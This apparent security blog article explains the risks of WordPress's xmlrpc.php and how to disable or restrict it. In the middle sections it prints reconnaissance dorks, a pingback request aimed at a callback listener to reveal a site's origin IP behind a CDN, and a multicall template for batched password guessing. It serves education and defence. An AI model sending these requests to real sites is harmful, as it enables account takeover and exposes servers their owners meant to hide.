Skip to content
Poshan Bhandari
← All Articles
Web Application Security

xmlrpc.php: The WordPress Endpoint That Won't Go Away

November 8, 2024·7 min read

XML-RPC is a remote procedure call protocol that uses HTTP for transport and XML for encoding. WordPress ships with it enabled by default at xmlrpc.php, where it powers remote publishing, the mobile app, and third-party integrations that post content, edit posts, or manage comments over the API instead of the web UI.

Why xmlrpc.php is a liability

  • Brute-force amplification: the system.multicall method lets an attacker bundle hundreds of username/password combinations into a single HTTP request, instead of one login attempt per request. That defeats most rate-limiting and lockout tools, which are built to watch individual login attempts, not one batched call.
  • Pingback-based DDoS: the pingback.ping method makes the WordPress server issue an outbound HTTP request to a URL of the caller's choosing. Pointed at thousands of WordPress sites at once, this becomes a distributed reflection attack against whatever target the attacker names.
  • Origin IP disclosure: that same outbound pingback request comes straight from the server, bypassing any CDN or WAF sitting in front of the site, which turns pingback.ping into a way to unmask an origin IP hiding behind Cloudflare or similar.

Confirming xmlrpc.php is live

Search engine dorks narrow down which sites in scope have it exposed:

  • inurl:"/xmlrpc.php?rsd"
  • allinurl:"wp-content/plugins/"

To confirm it directly, send a plain GET request to the endpoint: an active xmlrpc.php returns 405 Method Not Allowed, because it only accepts POST. Switching the request to POST with a valid XML-RPC body returns a 200 with an XML response instead, which confirms the endpoint is not just present but actually processing calls.

xml
<?xml version="1.0"?>
<methodCall>
  <methodName>system.listMethods</methodName>
</methodCall>

A response listing the available methods confirms xmlrpc.php is active and functional, and shows which methods (including multicall and pingback.ping) are exposed.

Using pingback to unmask an origin IP behind a CDN

For a target sitting behind Cloudflare or a similar CDN, pingback.ping can be pointed at a callback endpoint you control (a Burp Collaborator listener works well for this in a lab setting). The WordPress server itself makes the outbound pingback request, from its real origin IP, not the CDN's edge IP. Whatever endpoint receives that callback sees the origin IP directly in the incoming request.

http
POST /xmlrpc.php HTTP/1.1
Host: target.example
Content-Type: text/xml
Content-Length: 303

<?xml version="1.0"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://your-callback-listener.example</string></value></param>
    <param><value><string>https://target.example/</string></value></param>
  </params>
</methodCall>

Chaining into a brute-force path

The same multicall method used for legitimate batch operations can carry a batch of login attempts under wp.getUsersBlogs, testing many credential pairs in one request instead of one request per attempt.

xml
POST /xmlrpc.php HTTP/1.1
Host: target.example
Content-Type: text/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value><array><data>
        <value><struct>
          <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
          <member><name>params</name><value><array><data>
            <value><array><data>
              <value><string>{{username}}</string></value>
              <value><string>{{password}}</string></value>
            </data></array></value>
          </data></array></value></member>
        </struct></value>
      </data></array></value>
    </param>
  </params>
</methodCall>

A failed guess comes back as a faultCode inside an otherwise normal 200 OK response, which is exactly why the request needs to be batched to be efficient: each attempt costs the server a struct to evaluate, not a full new connection to rate-limit.

Beyond brute force and reflection, older versions of the PHP XML-RPC library used by several CMSes (WordPress, Drupal, PostNuke, and TikiWiki among them) carried a since-patched arbitrary code execution flaw, documented publicly in Rapid7's module database. It's a useful reminder that xmlrpc.php's risk isn't limited to the two abuse cases above: any code parsing attacker-supplied XML on every request is worth keeping current and worth removing entirely if it isn't needed.

Locking it down

  • Disable it entirely if nothing on the site uses remote publishing, the mobile app, or third-party XML-RPC integrations.
  • If it has to stay on, restrict access to known IPs at the web server or firewall level.
  • A security plugin or WAF rule can selectively block system.multicall and pingback.ping while leaving the rest of the API alone.
  • Disabling pingbacks specifically (via a plugin or a filter on the xmlrpc_methods hook) removes the DDoS-amplification and origin-disclosure risk without touching legitimate remote-publishing use.
apache
<Files xmlrpc.php>
  Order Allow,Deny
  Deny from all
</Files>
xmlrpc.php doesn't need to be exploited to be a risk. It just needs to be reachable.
WordPressXML-RPCWeb Application SecurityDDoS